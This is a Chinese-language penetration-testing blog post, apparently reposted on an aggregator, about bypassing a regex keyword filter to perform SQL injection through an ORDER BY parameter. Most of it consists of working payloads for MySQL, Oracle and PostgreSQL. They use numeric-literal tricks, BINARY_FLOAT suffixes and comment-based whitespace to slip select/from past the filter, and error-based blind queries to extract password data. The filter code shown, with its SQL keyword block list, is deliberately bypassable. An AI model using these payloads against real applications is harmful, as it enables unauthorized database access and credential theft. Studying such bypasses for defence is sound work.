文章总结: 本文介绍了如何绕过针对SQL注入的泛用检测机制,特别是在orderby参数中的注入。作者详细分析了MySQL、Oracle和PostgreSQL三种数据库的绕过技术,包括使用科学计数法、特殊语法和注释等方法。文章提供了多种具体的攻击载荷示例,展示了如何在不触发正则表达式检测的情况下执行SQL注入攻击,从而获取敏感数据如用户密码。这些技术对于渗透测试人员和安全研究人员具有很高的实用价值。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,漏洞POC
神奇的order by注入——第二篇
原创
珂字辈
珂技知识分享
2025年10月31日 18:00 湖北
一、 泛用检测
在一次实战中,我碰到了类似这样的检测。
@RequestMapping("/findUser") public String findUser(@Param("key") String key, @Param("orderBy") String orderBy){ Pattern pattern = Pattern.compile("[a-zA-Z0-9\\-\\_\\.]+"); String[] sqliKeywords = {"select", "from", "case", "when", "union"}; Matcher matcher = pattern.matcher(orderBy.toLowerCase()); List<String> results = new ArrayList<>(); while (matcher.find()) { results.add(matcher.group()); }
for (int i = 0; i < results.size(); i++) { for (int j = 0; j < sqliKeywords.length; j++) { if (results.get(i).equals(sqliKeywords[j])) { return "hack!!!"; } } } List<User> users = userMapper.findUsersByNameLike(key, orderBy); String output = "";
for (User u : users) { output += u.getId() + " - " + u.getUsername()+"<br>\r\n"; } return output; }
其中key没有注入,orderby有注入。
我们都知道,如果严格不能使用select,SQL注入只能注出user()/database()这种无关痛痒的信息,危害度将大大降低。
PS:只有极少部分情况可以不用select查表中的信息,不赘述。
而这里显然这是一个针对子查询的泛用检测,它先将orderby传参分割成了符合正则的多个字符串,再去匹配那些SQL注入必须用到的关键字。我们用一个经典报错注入的payload如下。
updatexml(1,concat(0x7e,(select user()),0x7e),1)
select被正则筛选出来了,导致检测命中报hack,如果使用selectqqq就不会命中。这样的检测方式更加泛用,也比较宽松,是比较折中的方案。如果直接暴力contains(“select”)误报可能会相当严重。当然,这个方案允许了横线/点是非常大的失误,在后续对我们的绕过帮助很大。
如何绕过呢?在偏SRC的漏洞挖掘中,我们可以取巧,选择直接注个user()交差,比如存在详细报错信息可以这样。
updatexml(1,concat(0x7e, user(),0x7e),1)
不存在详细报错信息,用基于报错的布尔盲注可以这样(为什么要用rand可以看第一篇)
if(length(user())=14,exp(999999),rand(1))
二、 mysql注入
但如果非要注出password呢?
这是个比较贴近语义分析的过滤器,它跟真正的语义分析waf的区别在于,像【(‘select’)】这种拿select当字符串语义分析waf是不会拦截的,但它还是会报hack。
我们现在需要做的是让select跟一个字母/数字/点/下划线/横杠以符合正则,且SQL语句能够正常解析。在mysql中很容易想到。
select-1;
但是光有select没有from也是不行的,from有没有办法跟一个可信字符呢?还真有几种办法。null,小数,科学计数法都可以
select-1-\Nfrom user;select-0.0from user;select-1-0e0from user;
我们用科学计数法。
那么该如何注入呢?非常简单,只要将想注的字段拼接进-0-0e0即可。
if(-6=(select-0-length(password)-0e0from user where id = 1),exp(99999999),rand(1))
除此之外,mysql还有两种比较容易想到的绕过方法,这个后面再提。
三、 Oracle注入
之所以mysql能这么轻松的解决,是因为我提前就知道mysql的select/from可以跟可信字符。但实战中我碰到的并不是mysql,而是Oracle。
Oracle的orderby注入比mysql更加简单,先不考虑select,只需要注个user交差的情况。那么最简单的用decode和除数不能为0的特性,构造出基于报错的布尔盲注。
1/decode(length(user),6,1,0)
但如何让Oracle的select跟可信字符呢?【-1】和【.1】都可以。
但from却不能跟科学计数法/null/小数了。
经过fuzz,我发现Oracle支持数字以d/f/D/F结尾,用来标注数据类型是BINARY_FLOAT还是BINARY_DOUBLE。后面可以直接跟from。
The Basics of BINARY_FLOAT & BINARY_DOUBLE
因此最终答案就出来了。
1/decode((select.0-length(password)-0dfrom user_test where id=1),-6,1,0)
四、 PostgreSQL注入
你以为这就结束了吗?实战中还碰上了PostgreSQL,我们来先看PostgreSQL的order by该如何注入。
首先是每个数据库都存在的case when。
(case when 1=1 then (select 666) else (select 666 union select 667) end)
但PostgreSQL的缺点在于没有mysql的if或者oracle的decode支持表达式的函数,因此只能用NULLIF/LEAST/GREATEST来代替。它们都是可以利用数学运算返回0,然后当除数报错,构造成基于报错的布尔条件。
1/NULLIF(0,length(user)-4)1/LEAST(1,length(user)-4)1/GREATEST(-1,length(user)-4)
再看能否使select和from紧挨着可信字符,完全可以,甚至语法比mysql/oracle都更加宽松。
select.2from pg_database;select-2from pg_database;
然而实战中并没有那么简单,这种宽松的语法只到了14版本,>=15版本PostgreSQL就更新为严格语法,使得from几乎不能挨着任何字符。
我们来看PostgreSQL的词法分析器,关键字命中了realfail/integer_junk/numeric_junk/real_junk。
https://github.com/postgres/postgres/blob/master/src/backend/parser/scan.l
我们碰到的报错显然更贴近integer_junk/numeric_junk,再看它们是怎么解析的。
看到词法组成,对于数字,存在123/0.00/00_000/0x11/0o11/0b11/0e1等多种表达形式。但他们一但加上一个identifier,就会命中junk抛错,而from显然属于identifier。
这么看来似乎从数字上无论如何都没办法,有其他可以利用的词法吗?
有个$foo$的形式可以跟from,可以造成混淆,可惜无法绕过正则。
select-0-$$0$$from pg_database;
但翻着翻着眼前一亮,这不是有个经典的【–】注释吗,可以跟在select/from后面呀。
select--\r\n* from--\r\npg_database;
而且【–】单行注释在sql中非常通用,因此mysql/Oracle/PostgreSQL都可以利用【–\r\n】代替空格,以此绕过泛用检测。
举一反三,mysql显然还可以用内联注释进行绕过。
/*!50000select*/ * /*!50000from*/user;
【–】作为最终答案并不难想,一开始没想到也是挺奇怪的,不过如果正则中没有横杠,就可以用上面的一些方法绕过了。
Pattern pattern = Pattern.compile("[a-zA-Z0-9\\_\\.]+");
查看原文:《神奇的order by注入——第二篇》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论